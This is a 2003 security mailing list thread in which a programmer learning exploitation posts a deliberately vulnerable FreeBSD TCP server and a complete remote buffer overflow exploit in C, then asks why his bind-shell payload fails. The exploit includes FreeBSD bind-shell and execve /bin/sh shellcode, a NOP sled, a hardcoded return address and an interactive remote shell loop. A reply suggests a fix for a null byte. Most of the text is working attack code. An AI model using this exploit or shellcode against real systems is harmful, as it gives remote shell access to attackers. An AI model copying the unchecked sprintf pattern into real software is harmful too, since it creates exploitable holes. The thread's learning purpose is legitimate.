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Re: sample buffer overflow exploit problem

From: Ganbold <ganbold () micom mng net>
Date: Sun, 28 Sep 2003 14:56:02 +0900
Thanks, Yes, that's true, I can avoid string end null byte just as you said.
Is there any other problem in my code?

Ganbold


At 04:09 AM 9/28/2003 +0300, you wrote:

Hi.

I read your sample exploit code
>//copying shellcode into buffer
>memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
>
>// the previous statement causes a unintential Nullbyte at buffer[1000]
>buffer[1000] = 0x90;

You can avoid memcpy copying the string null terminator byte by simply
decrementing the
length to copy (3'rd paramter) by 1 like this:

memcpy(buffer + 1001 - sizeof(shellcode) , shellcode, sizeof(shellcode) -
1);


----- Original Message -----
From: "Ganbold" <ganbold () micom mng net>
To: <vuln-dev () securityfocus com>
Sent: Saturday, September 27, 2003 10:54 AM
Subject: sample buffer overflow exploit problem


> Hi,
>
> I'm very new to buffer overflow exploit technics and my boss wants me to
> thoroughly understand
> how it works. I'm trying to exploit sample network server in FreeBSD 5.1
> for this purpose.
> When I try to exploit using execve /bin/sh (shellcode1), it works and
> launches the shell in the remote machine.
> However when I try to use port binding shell code, it binds shell to the
> port, but when I try to connect to
> it, it just closes the connection. Also I can't connect to bind port after
> sending buffer using following code snippets:
> ..............
> printf("[-] Connecting to bindshell...\n");
> remote.sin_family = AF_INET;
> remote.sin_addr = *((struct in_addr *)host->h_addr);
> remote.sin_port = htons(12345);
> if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
> {
> close(s);
> fprintf(stderr, "Error: connect\n");
> return -1;
> }
> exec_sh(s);
> ...............
>
> I appreciate if somebody give me some help to solve this test problem.
> Is there anywhere I can find detailed explanation about buffer overflows
> and working sample network exploits?
> Is there anyway I can generate shellcodes in FreeBSD?
>
> I attached my sample server code and exploit code.
>
> thanks in advance,
>
> Ganbold Ts,
>
> senior programmer,
> Micom Co., Ltd
> Ulaanbaatar,
> Mongolia
>
>
>
> Following is network server code:
> --------------------------------------------------------------------------
------------------------------------------------------
> #include <stdio.h>
> #include <netinet/in.h>
> #include <netdb.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> #include <errno.h>
>
> #define BUFFER_SIZE 1024
> #define NAME_SIZE 2048
>
> int handle(int c)
> {
> char buffer[BUFFER_SIZE], name[NAME_SIZE];
> int bytes;
> strcpy(buffer, "Your name?: ");
> bytes = send(c, buffer, strlen(buffer), 0);
> if (bytes == -1)
> return -1;
> bytes = recv(c, name, sizeof(name), 0);
> if (bytes == -1)
> return -1;
> name[bytes - 1] = '\0';
> sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);
> bytes = send(c, buffer, strlen(buffer), 0);
> if (bytes == -1)
> return -1;
> return 0;
> }
>
>
> int main(int argc, char *argv[])
> {
> int s, c, cli_size;
> struct sockaddr_in srv, cli;
> if (argc != 2)
> {
> fprintf(stderr, "usage: %s port\n", argv[0]);
> return 1;
> }
> s = socket(AF_INET, SOCK_STREAM, 0);
> if (s == -1)
> {
> perror("socket() failed");
> return 2;
> }
> srv.sin_addr.s_addr = INADDR_ANY;
> srv.sin_port = htons( (unsigned short int) atol(argv[1]));
> srv.sin_family = AF_INET;
> if (bind(s, &srv, sizeof(srv)) == -1)
> {
> perror("bind() failed");
> return 3;
> }
> if (listen(s, 3) == -1)
> {
> perror("listen() failed");
> return 4;
> }
> for(;;)
> {
> c = accept(s, &cli, &cli_size);
> if (c == -1)
> {
> perror("accept() failed");
> return 5;
> }
> fprintf(stderr,"client from %s\n", inet_ntoa(cli.sin_addr));
> if (handle(c) == -1)
> fprintf(stderr, "%s: handle() failed", argv[0]);
> close(c);
> }
> return 0;
> }
> --------------------------------------------------------------------------
------------------------------------------------------
>
> Following is the sample exploit code:
> --------------------------------------------------------------------------
------------------------------------------------------
> #include <stdio.h>
> #include <netinet/in.h>
> #include <netdb.h>
> #include <sys/socket.h>
> #include <sys/types.h>
> #include <errno.h>
> #include <unistd.h>
>
> /*
>   * FreeBSD shellcode - binds /bin/sh to a port 12345
>   *
>   * Claes M. Nyberg 20020619
>   *
>   * <cmn () darklab org>, <md0claes () mdstud chalmers se>
>   */
> char shellcode[]
> =
> /* port _______*/
> "\x6a\x10\x89\xe1\x83\xec\x10\x89\xe3\x31\xc0\x50\x50\x50\x66\x68\x30\x39"
> "\xb4\x20\x66\x50\x89\xe2\x6a\x06\x6a\x01\x6a\x02\x50\x30\xe4\xb0\x61\xcd"
> "\x80\x89\xc7\x6a\x10\x52\x50\x50\xb0\x68\xcd\x80\x31\xc0\x50\x57\x50\x83"
> "\xc0\x6a\xcd\x80\x51\x53\x57\x50\xb0\x1e\xcd\x80\x89\xc3\x31\xc0\x50\x53"
> "\x50\xb0\x5a\xcd\x80\xb0\x01\x50\x53\x50\x83\xc0\x59\xcd\x80\xb0\x02\x50"
> "\x53\x50\x83\xc0\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
> "\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
> "\x40\x50\x50\xcd\x80";
>
> /*
>   * FreeBSD shellcode - execve /bin/sh
>   *
>   * Claes M. Nyberg 20020120
>   *
>   * <cmn () darklab org>, <md0claes () mdstud chalmers se>
>   */
> char shellcode1[] =
>      "\x31\xc0"               /* xorl    %eax, %eax  */
>      "\x50"                   /* pushl   %eax        */
>      "\x68\x2f\x2f\x73\x68"   /* pushl   $0x68732f2f */
>      "\x68\x2f\x62\x69\x6e"   /* pushl   $0x6e69622f */
>      "\x89\xe3"               /* movl    %esp, %ebx  */
>      "\x50"                   /* pushl   %eax        */
>      "\x53"                   /* pushl   %ebx        */
>      "\x89\xe2"               /* movl    %esp, %edx  */
>      "\x50"                   /* pushl   %eax        */
>      "\x52"                   /* pushl   %edx        */
>      "\x53"                   /* pushl   %ebx        */
>      "\x50"                   /* pushl   %eax        */
>      "\xb0\x3b"               /* movb    $0x3b, %al  */
>      "\xcd\x80"               /* int     $0x80       */
>      "\x31\xc0"               /* xorl    %eax, %eax  */
>      "\x40"                   /* inc     %eax        */
>      "\x50"                   /* pushl   %eax        */
>      "\x50"                   /* pushl   %eax        */
>      "\xcd\x80";              /* int     $0x80       */
>
> #define RET 0xbfbffa48
>
> int exec_sh(int sockfd)
> {
>          char snd[4096],rcv[4096];
>          fd_set rset;
>          while(1)
>          {
>                  FD_ZERO(&rset);
>                  FD_SET(fileno(stdin),&rset);
>                  FD_SET(sockfd,&rset);
>                  select(255,&rset,NULL,NULL,NULL);
>                  if(FD_ISSET(fileno(stdin),&rset))
>                  {
>                          memset(snd,0,sizeof(snd));
>                          fgets(snd,sizeof(snd),stdin);
>                          write(sockfd,snd,strlen(snd));
>                  }
>                  if(FD_ISSET(sockfd,&rset))
>                  {
>                          memset(rcv,0,sizeof(rcv));
>                          if(read(sockfd,rcv,sizeof(rcv))<=0)
>                                  exit(0);
>                          fputs(rcv,stdout);
>                  }
>          }
> }
>
> int main(int argc, char *argv[]) {
>
> char buffer[1064];
> int s,t, i, size;
> struct sockaddr_in remote;
> struct hostent *host;
>
> if(argc != 3) {
> printf("Usage: %s target-ip port\n", argv[0]);
> return -1;
> }
>
> // filling buffer with NOPs
> memset(buffer, 0x90, 1064);
>
> //copying shellcode into buffer
> memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
>
> // the previous statement causes a unintential Nullbyte at buffer[1000]
> buffer[1000] = 0x90;
>
> // Copying the return address multiple times at the end of the buffer...
> for(i=1022; i < 1059; i+=4) {
> * ((int *) &buffer[i]) = RET;
> }
>
> buffer[1063] = 0x0;
>
> //getting hostname
>
> host=gethostbyname(argv[1]);
> if (host==NULL)
> {
> fprintf(stderr, "Unknown Host %s\n",argv[1]);
> return -1;
> }
>
> // creating socket...
> s = socket(AF_INET, SOCK_STREAM, 0);
> if (s < 0)
> {
> fprintf(stderr, "Error: Socket\n");
> return -1;
> }
> remote.sin_family = AF_INET;
> remote.sin_addr = *((struct in_addr *)host->h_addr);
> remote.sin_port = htons(atoi(argv[2]));
> // connecting with destination host
> if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
> {
> close(s);
> fprintf(stderr, "Error: connect\n");
> return -1;
> }
> //sending exploit string
> size = send(s, buffer, sizeof(buffer), 0);
> if (size==-1)
> {
> close(s);
> fprintf(stderr, "sending data failed\n");
> return -1;
> }
> /*
> printf("[-] Connecting to bindshell...\n");
> remote.sin_family = AF_INET;
> remote.sin_addr = *((struct in_addr *)host->h_addr);
> remote.sin_port = htons(12345);
> if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
> {
> close(s);
> fprintf(stderr, "Error: connect\n");
> return -1;
> }
> exec_sh(s);
> */
> // closing socket
> close(s);
> }
>
> --------------------------------------------------------------------------
------------------------------------------------------
>
>
>
>
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